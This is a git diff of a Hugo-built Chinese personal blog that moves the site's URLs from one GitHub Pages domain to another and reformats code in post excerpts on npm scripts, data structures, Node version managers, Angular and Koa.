href=https://chenjunlinabc.github.io//posts/Node.js%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/1/index.html b/posts/page/1/index.html
index 1ca7ce7f..640631e8 100644
--- a/posts/page/1/index.html
+++ b/posts/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/posts/</title><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/posts/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/posts/</title><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/posts/"></head></html>
\ No newline at end of file
diff --git a/posts/page/10/index.html b/posts/page/10/index.html
index 389d81cb..620f5f8f 100644
--- a/posts/page/10/index.html
+++ b/posts/page/10/index.html
@@ -1,36 +1,20 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-"scripts": {
-"dev": "node hallo.js"
-}
-npm run dev // 等于执行node hallo.js
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
+"scripts": { "dev": "node hallo.js" } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-"scripts": {
-"predev": "echo hallo",
-"dev": "node hallo.js",
-"postdev": "echo yes"
-}
-相对于npm run predev && npm run dev && npm run postdev
+"scripts": { "predev": "echo hallo", "dev": "node hallo.js", "postdev": "echo yes" } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
-"name": "root", "scripts": {
-"dev": "node hallo.js $npm_package_name"
-}
-}
-获取npm内部变量name
+{ "name": "root", "scripts": { "dev": "node hallo.js $npm_package_name" } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-"scripts": {
-"test": "echo \"Error: no test specified\" && exit 1"
-}
-传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://xiaochenabc123.github.io/posts/109/></a></article><article class=post-entry><header class=entry-header><h2>数据结构学习笔记</h2></header><div class=entry-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
+"scripts": { "test": "echo \"Error: no test specified\" && exit 1" } 传递参数...</p></div><footer class=entry-footer><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://chenjunlinabc.github.io/posts/109/></a></article><article class=post-entry><header class=entry-header><h2>数据结构学习笔记</h2></header><div class=entry-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
 线性结构：结构中的元素之间存在一对一的关系，一个对应一个
@@ -41,7 +25,7 @@
 栈：线性结构的一种特殊的存储方式
 数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面
 数据的获取也是才上面往下面获取的
-顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=entry-footer><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://xiaochenabc123.github.io/posts/106/></a></article><article class=post-entry><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=entry-footer><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://chenjunlinabc.github.io/posts/106/></a></article><article class=post-entry><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -78,51 +62,22 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article><article class=post-entry><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article><article class=post-entry><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&lt;div ng-app ng-init="name='default'">
-&lt;p>name: &lt;input type="text" ng-model="name">&lt;/p>
-&lt;h1>hallo，{{name}}&lt;/h1>
-&lt;p ng-bind="name">&lt;/p>
-&lt;/div>
-ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://xiaochenabc123.github.io/posts/101/></a></article><article class=post-entry><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
+&lt;div ng-app ng-init="name='default'"> &lt;p>name: &lt;input type="text" ng-model="name">&lt;/p> &lt;h1>hallo，{{name}}&lt;/h1> &lt;p ng-bind="name">&lt;/p> &lt;/div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://chenjunlinabc.github.io/posts/101/></a></article><article class=post-entry><header class=entry-header><h2>Koa框架学习笔记</h2></header><div class=entry-content><p>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require("koa")
-const app = new Koa()
-app.use(async (ctx, next) => {
-await next()
-ctx.response.type = 'text/html'
-ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>'
-})
-app.listen(3000)
-node app.js
+const Koa = require("koa") const app = new Koa() app.use(async (ctx, next) => { await next() ctx.response.type = 'text/html' ctx.response.body = '&lt;h1>hallo, koa!&lt;/h1>' }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require('koa')
-const app = new Koa()
-app.use(async(ctx)=>{
-const url =ctx.url
-const request =ctx.request
-const reqQuery = request.query
-const reqQuerystring = request.querystring
-ctx.body={
-url,
-reqQuery,
-reqQuerystring
-}
-})
-app.listen(3000,()=>{
-console.log('port 3000')
-})
-http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://xiaochenabc123.github.io/posts/100/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/9/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/11/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const Koa = require('koa') const app = new Koa() app.use(async(ctx)=>{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=>{ console.log('port 3000') }) http://127....</p></div><footer class=entry-footer><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://chenjunlinabc.github.io/posts/100/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/9/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/11/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/11/index.html b/posts/page/11/index.html
index fc19d82c..52f155e0 100644
--- a/posts/page/11/index.html
+++ b/posts/page/11/index.html
@@ -1,21 +1,14 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" 